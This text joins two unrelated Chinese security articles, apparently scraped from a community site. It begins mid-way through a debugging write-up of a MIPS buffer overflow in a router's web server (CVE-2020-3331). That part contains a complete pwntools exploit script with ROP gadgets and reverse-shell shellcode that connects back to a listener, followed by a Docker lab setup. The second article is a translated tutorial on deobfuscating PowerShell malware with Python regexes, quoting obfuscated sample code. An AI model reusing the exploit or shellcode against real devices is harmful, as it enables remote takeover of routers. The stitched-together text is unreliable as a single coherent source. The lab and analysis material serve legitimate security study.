────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────
00:0000│ sp 0x7fff1348 ◂— 0x61616161 ('aaaa')
... ↓
06:0018│ 0x7fff1360 ◂— 0x2804ffff
... ↓
**这里是把$sp+0x18的位置给a0寄存器，也就是我们要跳的最后位置**
Python 2.7.12 (default, Oct 5 2020, 13:56:01)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> print(hex(0x7fff1348+0x18))
0x7fff1360
看了下地址0x7fff1360没毛病
gdb-peda$ x/20wx 0x7fff1348
0x7fff1348: 0x61616161 0x61616161 0x61616161 0x61616161
0x7fff1358: 0x61616161 0x61616161 0x2804ffff 0x2804ffff
0x7fff1368: 0x24020fa6 0x0109090c 0x28041111 0x24020fa6
0x7fff1378: 0x0109090c 0x240cfffd 0x01802027 0x24020fa6
0x7fff1388: 0x0109090c 0x240cfffd 0x01802027 0x01802827
gdb-peda$ x/20wx 0x7fff1348+0x18
0x7fff1360: 0x2804ffff 0x2804ffff 0x24020fa6 0x0109090c
0x7fff1370: 0x28041111 0x24020fa6 0x0109090c 0x240cfffd
0x7fff1380: 0x01802027 0x24020fa6 0x0109090c 0x240cfffd
0x7fff1390: 0x01802027 0x01802827 0x2806ffff 0x24021057
0x7fff13a0: 0x0109090c 0x3044ffff 0x24020fc9 0x0109090c
gdb-peda$ x/20i 0x7fff1348+0x18
0x7fff1360: slti a0,zero,-1
0x7fff1364: slti a0,zero,-1
0x7fff1368: li v0,4006
0x7fff136c: syscall 0x42424
0x7fff1370: slti a0,zero,4369
0x7fff1374: li v0,4006
0x7fff1378: syscall 0x42424
0x7fff137c: li t4,-3
0x7fff1380: nor a0,t4,zero
0x7fff1384: li v0,4006
0x7fff1388: syscall 0x42424
0x7fff138c: li t4,-3
0x7fff1390: nor a0,t4,zero
0x7fff1394: nor a1,t4,zero
0x7fff1398: slti a2,zero,-1
0x7fff139c: li v0,4183
0x7fff13a0: syscall 0x42424
0x7fff13a4: andi a0,v0,0xffff
0x7fff13a8: li v0,4041
0x7fff13ac: syscall 0x42424
这里是比较关键的一步在栈顶+0x18的位置，将shellcode的第一条指令多写了一份，因为在调试的过程中发现，slti
a0,zero,-1这条指令会被莫名奇妙吞掉，所以多写了一条指令，来绕过这个奇怪的机制，实际测试过程中遇到\x00也会给截断，所以也需要绕00，这里测试过我的msf生成的是有00的，所以直接用轩哥推荐的shellcode[Linux/mips
– Reverse Shell Shellcode – 200 bytes by Jacob Holcomb](http://shell-storm.org/shellcode/files/shellcode-860.php)
V0 0x0
V1 0x73
A0 0x7fff1360 ◂— 0x2804ffff
A1 0x47f785 ◂— 'ogin_guest.asp'
A2 0x0
A3 0x0
T0 0xfd00
T1 0x77a71411 ◂— 0x6c5f5f00
T2 0x77ee5f89 ◂— jalx 0x79957c00
T3 0x77ff5a60 —▸ 0x77a6a000 ◂— 0x464c457f
T4 0x77a6c64c ◂— 0x88e
T5 0x24
T6 0xd80b684
T7 0x77a70b7c ◂— 0x4c475f00
T8 0x77a6c40c ◂— nop
T9 0x77a984d0 (strcoll) ◂— lbu $v1, ($a0)
S0 0x77aa7050 (xdr_free+16) ◂— move $t9, $a0
S1 0x61616161 ('aaaa')
S2 0x61616161 ('aaaa')
S3 0x61616161 ('aaaa')
S4 0x61616161 ('aaaa')
S5 0x61616161 ('aaaa')
S6 0x61616161 ('aaaa')
S7 0x61616161 ('aaaa')
S8 0x61616161 ('aaaa')
FP 0x7fff13a0 ◂— 0x109090c
SP 0x7fff1348 ◂— 0x61616161 ('aaaa')
PC 0x77a8f7a4 (fclose+308) ◂— move $t9, $s0
───────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────
0x77a8f7a0 <fclose+304> addiu $a0, $sp, 0x18
► 0x77a8f7a4 <fclose+308> move $t9, $s0
↓
0x77a8f7ac <fclose+316> addiu $a1, $zero, 1
0x77a8f7b0 <fclose+320> lw $gp, 0x10($sp)
0x77a8f7b4 <fclose+324> lhu $v0, ($s1)
0x77a8f7b8 <fclose+328> andi $v0, $v0, 0x4000
0x77a8f7bc <fclose+332> beqz $v0, fclose+360 <0x77a8f7d8>
0x77a8f7c0 <fclose+336> lw $a2, -0x778c($gp)
0x77a8f7c4 <fclose+340> lw $t9, -0x77ac($gp)
0x77a8f7c8 <fclose+344> jalr $t9
0x77a8f7cc <fclose+348> lw $a0, 8($s1)
────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────
00:0000│ sp 0x7fff1348 ◂— 0x61616161 ('aaaa')
... ↓
06:0018│ a0 0x7fff1360 ◂— 0x2804ffff
... ↓
──────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────
► f 0 77a8f7a4 fclose+308
**到这里a0已经变成了我们想要的地址了**
0x77aa7058 in xdr_free () from target:/lib/libc.so.0
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────────────────────
V0 0x0
V1 0x73
A0 0x7fff1360 ◂— 0x0
A1 0x1
A2 0x0
A3 0x0
T0 0xfd00
T1 0x77a71411 ◂— 0x6c5f5f00
T2 0x77ee5f89 ◂— jalx 0x79957c00
T3 0x77ff5a60 —▸ 0x77a6a000 ◂— 0x464c457f
T4 0x77a6c64c ◂— 0x88e
T5 0x24
T6 0xd80b684
T7 0x77a70b7c ◂— 0x4c475f00
T8 0x77a6c40c ◂— nop
T9 0x7fff1360 ◂— 0x0
S0 0x77aa7050 (xdr_free+16) ◂— move $t9, $a0
S1 0x61616161 ('aaaa')
S2 0x61616161 ('aaaa')
S3 0x61616161 ('aaaa')
S4 0x61616161 ('aaaa')
S5 0x61616161 ('aaaa')
S6 0x61616161 ('aaaa')
S7 0x61616161 ('aaaa')
S8 0x61616161 ('aaaa')
FP 0x7fff1380 ◂— 0x1802027
SP 0x7fff1348 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaa'
PC 0x77aa7058 (xdr_free+24) ◂— jalr $t9
───────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────
0x77aa7050 <xdr_free+16> move $t9, $a0
0x77aa7054 <xdr_free+20> sw $v0, 0x18($sp)
► 0x77aa7058 <xdr_free+24> jalr $t9
0x77aa705c <xdr_free+28> addiu $a0, $sp, 0x18
0x77aa7060 <xdr_free+32> lw $gp, 0x10($sp)
0x77aa7064 <xdr_free+36> lw $ra, 0x30($sp)
0x77aa7068 <xdr_free+40> jr $ra
0x77aa706c <xdr_free+44> addiu $sp, $sp, 0x38
0x77aa7070 <xdr_void> jr $ra
0x77aa7074 <xdr_void+4> addiu $v0, $zero, 1
0x77aa7078 <xdr_long> lw $v1, ($a0)
────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────
00:0000│ sp 0x7fff1348 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaa'
... ↓
06:0018│ a0 t9 0x7fff1360 ◂— 0x0
07:001c│ 0x7fff1364 ◂— 0x2804ffff
──────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────
► f 0 77aa7058 xdr_free+24
──────────────────────────────────────────
0x7fff1364 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────────────────────
V0 0x0
V1 0x73
A0 0x7fff1360 ◂— 0x0
A1 0x1
A2 0x0
A3 0x0
T0 0xfd00
T1 0x77a71411 ◂— 0x6c5f5f00
T2 0x77ee5f89 ◂— jalx 0x79957c00
T3 0x77ff5a60 —▸ 0x77a6a000 ◂— 0x464c457f
T4 0x77a6c64c ◂— 0x88e
T5 0x24
T6 0xd80b684
T7 0x77a70b7c ◂— 0x4c475f00
T8 0x77a6c40c ◂— nop
T9 0x7fff1360 ◂— 0x0
S0 0x77aa7050 (xdr_free+16) ◂— move $t9, $a0
S1 0x61616161 ('aaaa')
S2 0x61616161 ('aaaa')
S3 0x61616161 ('aaaa')
S4 0x61616161 ('aaaa')
S5 0x61616161 ('aaaa')
S6 0x61616161 ('aaaa')
S7 0x61616161 ('aaaa')
S8 0x61616161 ('aaaa')
FP 0x0
SP 0x7fff1348 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaa'
PC 0x7fff1364 ◂— 0x2804ffff
───────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────
0x7fff1360 nop
► 0x7fff1364 slti $a0, $zero, -1
↓
0x7fff136c syscall 0x42424
0x7fff1370 slti $a0, $zero, 0x1111
0x7fff1374 addiu $v0, $zero, 0xfa6
0x7fff1378 syscall 0x42424
0x7fff137c addiu $t4, $zero, -3
0x7fff1380 not $a0, $t4
0x7fff1384 addiu $v0, $zero, 0xfa6
0x7fff1388 syscall 0x42424
0x7fff138c addiu $t4, $zero, -3
────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────
00:0000│ sp 0x7fff1348 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaa'
... ↓
06:0018│ a0 t9 0x7fff1360 ◂— 0x0
07:001c│ pc 0x7fff1364 ◂— 0x2804ffff
──────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────
► f 0 7fff1364
成功执行shellcode，拿到shell
#coding:UTF-8
from pwn import *
import thread,requests
context(arch='mips',endian='little',os='linux', log_level='debug')
io = listen(31337)
libc = 0x77a6a000
jmp_a0 = libc + 0x0003D050 # move $t9,$a0 ; jalr $a0
jmp_s0 = libc + 0x000257A0 # addiu $a0,$sp,0x38+var_20 ; jalr $s0
shellcode = "slti $a0, $zero, 0xFFFF\n"
shellcode += "slti $a0, $zero, 0xFFFF\n"
shellcode += "li $v0, 4006\n"
shellcode += "syscall 0x42424\n"
shellcode += "slti $a0, $zero, 0x1111\n"
shellcode += "li $v0, 4006\n"
shellcode += "syscall 0x42424\n"
shellcode += "li $t4, 0xFFFFFFFD\n"
shellcode += "not $a0, $t4\n"
shellcode += "li $v0, 4006\n"
shellcode += "syscall 0x42424\n"
shellcode += "li $t4, 0xFFFFFFFD\n"
shellcode += "not $a0, $t4\n"
shellcode += "not $a1, $t4\n"
shellcode += "slti $a2, $zero, 0xFFFF\n"
shellcode += "li $v0, 4183\n"
shellcode += "syscall 0x42424\n"
shellcode += "andi $a0, $v0, 0xFFFF\n"
shellcode += "li $v0, 4041\n"
shellcode += "syscall 0x42424\n"
shellcode += "li $v0, 4041\n"
shellcode += "syscall 0x42424\n"
shellcode += "lui $a1, 0x6979\n"
shellcode += "ori $a1, 0xFF01\n"
shellcode += "addi $a1, $a1, 0x0101\n"
shellcode += "sw $a1, -8($sp)\n"
shellcode += "li $a1, 0x010A0A0A\n" #这里是需要改的IP地址
shellcode += "sw $a1, -4($sp)\n"
shellcode += "addi $a1, $sp, -8\n"
shellcode += "li $t4, 0xFFFFFFEF\n"
shellcode += "not $a2, $t4\n"
shellcode += "li $v0, 4170\n"
shellcode += "syscall 0x42424\n"
shellcode += "lui $t0, 0x6962\n"
shellcode += "ori $t0, $t0,0x2f2f\n"
shellcode += "sw $t0, -20($sp)\n"
shellcode += "lui $t0, 0x6873\n"
shellcode += "ori $t0, 0x2f6e\n"
shellcode += "sw $t0, -16($sp)\n"
shellcode += "slti $a3, $zero, 0xFFFF\n"
shellcode += "sw $a3, -12($sp)\n"
shellcode += "sw $a3, -4($sp)\n"
shellcode += "addi $a0, $sp, -20\n"
shellcode += "addi $t0, $sp, -20\n"
shellcode += "sw $t0, -8($sp)\n"
shellcode += "addi $a1, $sp, -8\n"
shellcode += "addiu $sp, $sp, -20\n"
shellcode += "slti $a2, $zero, 0xFFFF\n"
shellcode += "li $v0, 4011\n"
shellcode += "syscall 0x42424"
shell = asm(shellcode)
# 覆盖s0 覆盖ra 最后将shellcode写进sp+0x18的位置
# 先jmp到s0在jmp到a0执行shellcode
payload = "status_guestnet.asp"+'a'*49+p32(jmp_a0)+0x20*'a'+p32(jmp_s0)+0x18*'a'+shell
#payload = "status_guestnet.asp"+'a'*49+p32(0xdeadbeef)
paramsPost = {
"cmac":"7a:29:9f:d3:d2:6e",
"submit_button":payload,
"cip":"192.168.1.1",
}
def attack():
try:
requests.post("http://10.10.10.3/guest_logout.cgi", data=paramsPost, verify=False)
except:
pass
thread.start_new_thread(attack,())
io.wait_for_connection()
log.success("getshell")
io.interactive()
#10A0A0A -> 10.10.10.1 LSB
#0x77aa7050 jalr $a0
#0x77a8f7a0 jalr $s0
shellcode我是改的回连地址，然后利用pwntools把汇编转成二进制在打进去，算是在轩哥的exp上做了些改动，感兴趣的师傅可以自己去调一下。
## docker搭建固件靶场环境
最后的docker环境部署，其实大概的架构是这样的
将qemu_system里的端口映射到docker里面，在从docker端口转发到宿主机，然后外网就能访问到qemu_system里的服务了，因为要外网访问，所以我们不使用方便调试的tap模式，直接使用net模式，启动脚本如下：
qemu-system-mipsel -M malta \
-kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_wheezy_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0 nokalsr" \
-device e1000,netdev=net0 \
-netdev user,id=net0,hostfwd=tcp::80-:80,hostfwd=tcp::31337-:31337,hostfwd=tcp::1234-:1234 -nographic
转发了三个端口，一个是httpd的80，回连的31337，gdb调试的1234。
然后在qemu里写好启动脚本
#!/bin/sh
chroot squashfs-root sh start.sh
#!/bin/sh
export LD_PRELOAD="./nvram.so" && ./httpd //start.sh的内容
放到rc.local里面，就能自启动了。
在将文件提前保存进docker镜像里，然后写好dockerfile，打包上传至dockerhub即可
FROM vulshare/cve-2020-3331:lxonz
LABEL Author="lxonz"
WORKDIR /home/root/qemu_system_mipsel
CMD [ "/bin/sh", "-c", "chmod 755 qemu_mipsel.sh && sh qemu_mipsel.sh" ]
EXPOSE 31137
EXPOSE 80
EXPOSE 1234
这里要写好转发的端口，最后通过-P参数启动。
最后呢，因为qemu里我转发了1234端口，但是docker里没转发，如果想要调试的师傅可以自己转发一下
参考链接：
[1] <https://xuanxuanblingbling.github.io/iot/2020/10/26/rv110w/>
[2] <https://blog.csdn.net/qq_21063873/article/details/103037515>
[3] <https://nosec.org/home/detail/4458.html> | 社区文章 |
原文：<https://maxkersten.nl/binary-analysis-course/malware-analysis/automatic-string-formatting-deobfuscation/>
对于未经编译的恶意软件来说，一旦落入安全分析人员的手里，其源代码就会一览无余了。攻击者当然知道这一点，因此，通常会对源代码进行混淆处理，从而提高样本分析或创建通用检测规则的难度。这方面的技术细节，我们将通过下面的PowerShell样本进行展示；该示例可从[此处](https://maxkersten.nl/wp-content/uploads/2019/01/powershellSample.txt
"此处")下载。在VirusTotal网站上，57个防病毒引擎中，只有2个检测出该样本为恶意代码。但是，经过去混淆处理之后，56个防病毒引擎中有11个检测出该样本为恶意代码。这就证明了混淆技术的确是有效的。
MD5: 907dbc3048f75bb577ff9c064f860fc5
SHA-1: 667b8fa87c31f7afa9a7b32c3d88f365a2eeab9c
SSDeep: 6144:F7EhX4jlKpvFnMt8NKKfoIEFtUVETlqds6YGTC9HIN5Tao0jCGIop1Y6aiiNelyb:pQ39oIpyK+HI+3Npi6aiiNeewudtv
File size: 368.42 KB
File length: 2763 lines
在本例中，使用了一种特定类型的混淆处理方法：字符串格式化混淆技术。首先，我们将简单介绍一下混淆的概念，并快速分析该脚本的其他混淆部分。之后，将逐步创建一个脚本，用于自动对该样本进行去混淆处理。
## 样本使用的混淆技术
### 字符串格式化
一个字符串可以由多个组件组成。通过字面量字符串中的标志，能够让我们在读写格式化设置的时候更加轻松。在C语言中，标志%d用于十进制。下面是一个用C语言编写的示例代码。
int age = 100;
printf("My age equals %d\n", age);
上述代码的输出结果如下所示：
My age equals 100
在C#语言中，类型是从引用变量派生的，具体如下例所示。注意，我们仍然可以使用第二个示例中给出的类型。
//Types are derived from the variable
string s = String.Format("{0}'s age is {1}", "Libra", 100);
Console.WriteLine(s);
//Types are specified within the code
string s = String.Format("{0}'s age is {1:f}", "Libra", 100.5);
Console.WriteLine(s);
要使用这种方式对一段文本进行混淆处理，只需将其拆分为字符串，并对各个字符串分别进行相应的处理即可。这些字符串会在运行时以正确的顺序进行组装，从而允许程序继续运行。这对分析人员是非常不利的，因为，代码变得更加难以理解，并且变量名也不能通过重命名的方式进行修改，除非已经对整个样本进行了去混淆处理。下面给出一个进行混淆处理的例子。
string something = String.Format("{4}{2}{3}{1}{0}", "ion", "at", "fu", "sc", "ob");
其中，something存放的是混淆后的字符串。
### 字符串串联
一个字符串可以由多个字符或多个字符串组成。通过将其相加，就可以混淆变量的名称。下面给出一个例子。
string x = "ab" + "cd";
string y = x + "ef";
在这个示例中，x等于abcd，y等于abcdef。如果变量的名称是以这种方式创建的，则该方法还能够阻止代码重构。在普通代码中，这是不可行的，但是，当通过反射来调用方法时，这就成为可能了。
### 反引号
在PowerShell中，可以在变量名中使用反引号(`)。这些都会被忽略，但是，也会妨碍重构。
## 正则表达式
要在文本（以及代码）中寻找模式的匹配，可以使用正则表达式。正则表达式的应用非常广泛，并且，目前有许多在线工具可以用来帮助我们编写正则表达式。在该示例中，不可读且无法重构的字符串将被匹配并替换为可读版本。实际上，正则表达式（Regular
expressions）也称为regexes。
## 自动去混淆
为了实现去混淆过程的自动化，我们可以借助于Python3。首先，分析需要匹配的模式，然后，构造正则表达式。最后，将匹配的数据替换为去混淆过的数据，以便生成具有可读性的输出。
### 查找模式
在检查样本时，发现了上述三种类型的字符串混淆方法。下面，我们看看基于反引号的混淆方法。
function iN`VokE`-r`F`BuxmE`HAEmZbhI
正如上面所看到的，字符的顺序是正确的，但是，如果不删除或忽略反引号，就无法进行重命名。
样本中的第二种混淆方法，是一种基于字符串格式化的混淆处理，具体如下所示。
$I7KUHX =[tYpe]("{7}{2}{5}{10}{13}{1}{4}{9}{14}{12}{0}{3}{11}{6}{8}"-f 'mAR','opse','yst','sh','R','eM.RuNti','T','S','E','v','ME.','ALAsATtrIbu','ces.','intEr','I') ;
其中，字符串本身为System.Runtime.InteropServices.MarshalasAttribute。需要注意的是，由于这里使用了[type]，所以，它会查找给定名称下的类型。[type]返回的值等于System.Runtime.InteropServices.MarshalasAttribute。
上面样本中的第三种也是最后一种混淆类型是字符串串联。通过将字符串拆分为不同的子串，可以把同一个名称变成不同的形式，如下所示。
("VaRIA"+"BLE"+":Rb"+"h0")
("Va"+"RI"+"ABL"+"E:Rbh"+"0")
### 清除反引号
由于反勾号在脚本中使用不当，因此，可以使用Python3中的字符串替换函数来删除所有反引号。
powershellPath = 'powershellSample.txt'
powershellFile = open(powershellPath,'r')
powershellContent = powershellFile.readlines()
for line in powershellContent:
line = line.replace("`", "")
### 清除字符串格式化符
使用同一个模式，就能找到字符串字面量（第一部分）和原始字符串的各个部分（添加的变量），下面举几个例子。
&("{0}{2}{1}"-f'sE','-iTeM','T')
$7eq= [tyPe]("{1}{0}" -f '32','INT') ;
&("{1}{0}{2}"-f 'eT-','S','itEM')
$j1v =[tyPe]("{0}{1}"-F 'Co','NveRt') ;
通过这个例子，可以发现：
* 每个格式选项都以左括号和引号开头，即（和“
* 花括号用于决定字符串格式化的顺序。
* 会用到格式标志-f及其大写字母版本-F
* 有时格式标志前面会有空格。
* 有时格式标志后面会有空格。
基于上面的观察，正则表达式以引号开头。然后，由于长度未知，所有花括号之间的数字需要匹配n次。并且，它还应以引号结尾，具体见下面的正则表达式：
"((?:\{\d+\})+)"
其中，“(?:”和“)”表示不应捕获的组；“\”用于对花括号等字符进行转义；d用来匹配一个数字。如果要匹配多个数字，请使用“+”。在上面的示例中，右括号后的“+”表示匹配一个或多个匹配项。匹配的最后部分（尽管未捕获），是用于结束列出的所有索引的部分的引号。
上面的表达式中，外面用括号将其括起来，这表明这一组应该被捕获。索引仍然被括在一对花括号之间，是表达式的第一个捕获组（位于索引0处）。在后面的步骤中，将从该捕获组中提取所有数字。
在此之后，是格式标志，需要注意的是，在格式标志的前后可能会遇到空白符。当然，空白符的长度是未知的。正则表达式中的“
_”与“+”的功能类似，因为它也是用于重复前面的语句。“+”匹配一个以上的匹配项，而“_ ”还可以匹配零个匹配项。
要检测单个空白符、格式标志（包括大小写形式）与更多空白符，需要使用另一个正则表达式，具体如下所示。
\s*-[fF]\s*
其中，“%s”语句与空白符匹配。结合“*”，空白符的长度可以是任意的，甚至是零。而破折号（-）则与“[”和“]”之间的任意字符匹配。在这个例子中，字符f或F是匹配的。
正则表达式的最后一部分匹配放在单引号之间的字符。引号（前引号和后引号）可以使用其字面量字符进行匹配，中间的字符可以使用点（.）号进行匹配——匹配除行尾外的任何字符。
((?:'.*?',?)+)
在这里，我们并没有捕获单个字符串（使用“(?:”和“)”），而是捕获完整的结果集，因为"+"是用于匹配一个或多个部分的。“.*?”表示对任意字符匹配零次或多次，如有可能，它会选择尽可能少的匹配次数。这是该正则表达式的第二个捕获组，位于索引1处。
完整的正则表达式如下所示。
"((?:\{\d+\})+)"\s*-[fF]\s*((?:'.*?',?)+)
最后，需要从上述正则表达式的匹配中提取索引和字符串。两个捕获组的输出如下所示：
'{7}{2}{5}{10}{13}{1}{4}{9}{14}{12}{0}{3}{11}{6}{8}'
'mAR','opse','yst','sh','R','eM.RuNti','T','S','E','v','ME.','ALAsATtrIbu','ces.','intEr','I'
要查找所有不带括号的索引，必须在花括号之间匹配一个或多个数字，具体如下面的正则表达式所示。
{(\d+)}
这时，它会捕获一个或多个数字，同时忽略花括号。需要注意的是，由Python3的正则表达式包返回的索引列表仍被视为字符串列表。要将索引转换为整数，可以使用map函数。
for line in powershellContent:
matchedLine = re.findall(""""((?:\{\d+\})+)"\s*-[fF]\s*((?:'.*?',?)+)""", line)
if len(matchedLine) > 0:
for match in matchedLine:
indices = list(map(int, re.findall("{(\d+)}", match[0])))
strings = re.findall("'([^']+?)'", match[1])
result = "".join([strings[i] for i in indices])
line = line.replace(match[0], result, 1)
line = line.replace(match[1], "", 1)
直接替换每一行中的-f和-F字符是可能的，但是这样做会破坏代码中的某些名称，具体如下所示。
[IntPtr]${nE`WTH`Unkr`ef} = &("{0}{6}{1}{4}{5}{3}{2}" -f 'G','Remo','s','Addres','te','Proc','et-') -RemoteProcHandle ${R`eMOt`EPR`O`Ch`ANdLe} -RemoteDllHandle ${IM`PORt`dllHa`NDLE} -FunctionNamePtr ${pRoce`D`URen`A`MEpTr} -LoadByOrdinal ${lOaDb`yo`Rd`I`NAL}
"其中，-FunctionNamePtr也以-F开头。为了避免这种情况，还可以使用正则表达式。我们应删除格式标志，并且，仅当其后面没有字符时才应删除。在这里，空格或括号并不是问题。
为了匹配格式标志，需要使用之前创建的正则表达式(-[fF])。然后，使用正则表达式中的look
ahead语句检查匹配后面的字符。这是一个新的捕获组，以“?=”开头。除了字符“a”到“z”、“A”到“Z”、“0”到“9”和“_”之外的所有字符都可以使用“[^\w]”进行匹配。其中，“^”表示不包含后面使用的字符。而元字符“w”表示搜索字符、数字和下划线。在本例中，它匹配所有不是字符、数字或下划线的内容。完整的正则表达式如下所示。
(-[fF])(?=[^\w])
若要从示例中删除格式标志，请使用空字符串替换此正则表达式的匹配项。
formatFlag = re.findall("""(-[fF])(?=[^\w])""", line)
if len(formatFlag) > 0:
for formatFlagMatch in formatFlag:
line = line.replace(formatFlagMatch, "")
### 清除串联字符串
通过添加多个字符串而生成的字符串总是具有相同的布局：
* 它以一个左括号开头
* 它以右括号结束。
* 每个字符串都用引号括起来。
* 将两个字符串相互串联的运算符是加号（“+”）。
首先，可以检查引号前的字符是否是左括号。为此，可以使用look behind语句。
(?<=\()\"
请注意，引号和右括号会被转义，因此，要使用反斜杠。
我们已经知道，可以用look ahead语句检查引号后面的字符。不过，这些字符不应与右括号匹配，而应与加号匹配。
(?=[^\)]+\+[^\)]+\))
然后，任何不是花括号、连字符或右括号的内容都应匹配，匹配次数应尽可能少，但是至少匹配一次。这些就是我们需要的数据，但并没有放在单独的捕获组中（这里使用了“?:”），因为字符串的顺序已经是正确的。
(?:[^\{\}\-\)])+
字符串后的引号后面应跟一个右括号，以表示变量结束。
\"(?=\))
完整的正则表达式如下所示：
(?<=\()\"(?=[^\)]+\+[^\)]+\))(?:[^\{\}\-\)])+\"(?=\))
完全匹配的内容如下所示：
"V"+"Ari"+"Ab"+"LE:cF84"
为了用串联的字符串正确替换相应的字符串，应删除所有引号、加号和空格。之后，应该在变量的前面和末尾放一个单引号。通过搜索和替换给定的值，可以对其进行重构。这样的话，这些变量也可以在串联完成后进行正确读取。
varDeclaration = re.findall("""(?<=\()\"(?=[^\)]+\+[^\)]+\))(?:[^\{\}\-\)])+\"(?=\))""", line)
variable = ''
if len(varDeclaration) > 0:
for string in varDeclaration:
variable = string.replace("\"", "")
variable = variable.replace("+", "")
variable = variable.replace(" ", "")
variable = "\"" + variable + "\""
line = line.replace(varDeclaration[0], variable)
最后，将所有行都保存在一个新文件中。
with open('deobfuscatedSample.txt', 'w') as f:
f.write(output)
下面给出完整的Python3脚本及相关的注释。
#Created by Max 'Libra' Kersten (@LibraAnalysis)
import re
#Define information regarding the original script's location
powershellPath = 'powershellSample.txt'
powershellFile = open(powershellPath,'r')
#Read all lines of the original script
powershellContent = powershellFile.readlines()
#The variable which contains all deobfuscated lines
output = ''
#The variable which keeps track of the amount of string formats that have been replaced
formatCount = 0
#The variable which keeps track of the amount of variables that have been replaced
variableCount = 0
#The variable which keeps track of the amount of removed back ticks
backtickCount = 0
#Loop through the file, line by line
for line in powershellContent:
backtickCount += line.count("`")
#Replace the back tick with nothing to remove the needless back ticks
line = line.replace("`", "")
#Match the string formatting
matchedLine = re.findall(""""((?:\{\d+\})+)"\s*-[fF]\s*((?:'.*?',?)+)""", line)
#If one or more matches have been found, continue. Otherwise skip the replacement part
if len(matchedLine) > 0:
#Each match in each line is broken down into two parts: the indices part ("{0}{2}{1}") and the strings ("var", "ble", "ia")
for match in matchedLine:
#Convert all indices to integers within a list
indices = list(map(int, re.findall("{(\d+)}", match[0])))
#All strings are saved in an array
strings = re.findall("'([^']+?)'", match[1])
#The result is the correctly formatted string
result = "".join([strings[i] for i in indices])
#The current line is altered based on the found match, with which it is replaced
line = line.replace(match[0], result, 1)
line = line.replace(match[1], "", 1)
#Regex the "-f" and "-F" so that "-f[something]" is not replaced
formatFlag = re.findall("""(-[fF])(?=[^\w])""", line)
if len(formatFlag) > 0:
for formatFlagMatch in formatFlag:
line = line.replace(formatFlagMatch, "")
#Find all strings between quotation marks.
varDeclaration = re.findall("""(?<=\()\"(?=[^\)]+\+[^\)]+\))(?:[^\{\}\-\)])+\"(?=\))""", line)
#The concatenated variable
variable = ''
#For each string in the list, the items are concatenated
if len(varDeclaration) > 0:
for string in varDeclaration:
variable = string.replace("\"", "")
variable = variable.replace("+", "")
variable = variable.replace(" ", "")
variable = "\"" + variable + "\""
variableCount += 1
#Replace the variable with the concatenated one
line = line.replace(varDeclaration[0], variable)
formatCount += 1
#When all matches are done, add the altered line to the output
output += line
#When all lines are checked, write the output variable to a file
with open('deobfuscatedSample.txt', 'w') as f:
f.write(output)
print("Amount of removed back ticks:")
print(backtickCount)
print("Amount of formatted strings that have been deobfuscated and concatenated:")
print(formatCount)
print("Amount of variables that have been concatenated:")
print(variableCount)
print("Total amount of modifications:")
print((backtickCount + formatCount + variableCount))
要想了解这里修改了多少个值，可以使用count变量。这个脚本的输出如下所示。
Amount of removed back ticks:
8634
Amount of formatted strings that have been deobfuscated and concatenated:
1963
Amount of variables that have been concatenated:
51
Total amount of modifications:
10648
之前，样本的第一部分如下所示：
$I7KUHX =[tYpe]("{7}{2}{5}{10}{13}{1}{4}{9}{14}{12}{0}{3}{11}{6}{8}"-f 'mAR','opse','yst','sh','R','eM.RuNti','T','S','E','v','ME.','ALAsATtrIbu','ces.','intEr','I') ;
&("{0}{2}{1}"-f'sE','-iTeM','T')
("V"+"Ari"+"Ab"+"LE:cF84") ([TYPe]("{2}{0}{1}{7}{9}{6}{10}{3}{4}{5}{8}" -F'yste','m.RU','s','es','.un','ManaGeDty','rV','nTiME.inTEroP','pe','se','iC') );
$7eq= [tyPe]("{1}{0}" -f '32','INT') ;
&("{0}{1}" -f's','ET') tIAfhC ([tyPE]("{0}{1}" -F'bO','ol') ) ;
&("{0}{1}{2}"-f 's','ET','-VARIaBLE')
kM5l ( [tYPE]("{0}{1}{2}"-F 'U','I','Nt32') ) ;
$XD1h =[TYpE]("{1}{0}{2}"-f'NVE','BItco','rtEr');
&("{2}{1}{0}"-f'tem','ET-I','s')
("VaRIA"+"BLE"+":Rb"+"h0") ( [tYPE]("{1}{8}{6}{4}{2}{5}{9}{11}{10}{7}{12}{0}{3}" -F 'S','S','r','s','EM.','EFLecT','t','DEraCC','Ys','iOn.em','BlYbUIl','It.ASSEm','e')) ;
$eGj7 = [tyPe]("{0}{1}{2}" -F 'aPPDOma','i','N');
&("{1}{0}{2}"-f 'eT-','S','itEM')
VAriablE:tg58U ( [TYpE]("{8}{5}{4}{7}{3}{0}{2}{6}{1}" -F'n','gcOnvENtIoNS','.c','o','.REFLEC','sTeM','ALLin','ti','sy') );
&("{0}{1}" -f 'S','eT-iTEm')
variablE:urYi12 ( [tYPE]("{2}{3}{0}{1}" -F 'I','RONmENt','eN','V')) ;
$9hRwNy = [tYpE]("{1}{0}"-f'R','uIntpt') ;
&("{0}{1}{2}" -f'SeT-i','te','m')
("VARI"+"ABLe:6"+"3"+"Y") ( [tyPe]("{1}{0}" -f'h','MAT') ) ;
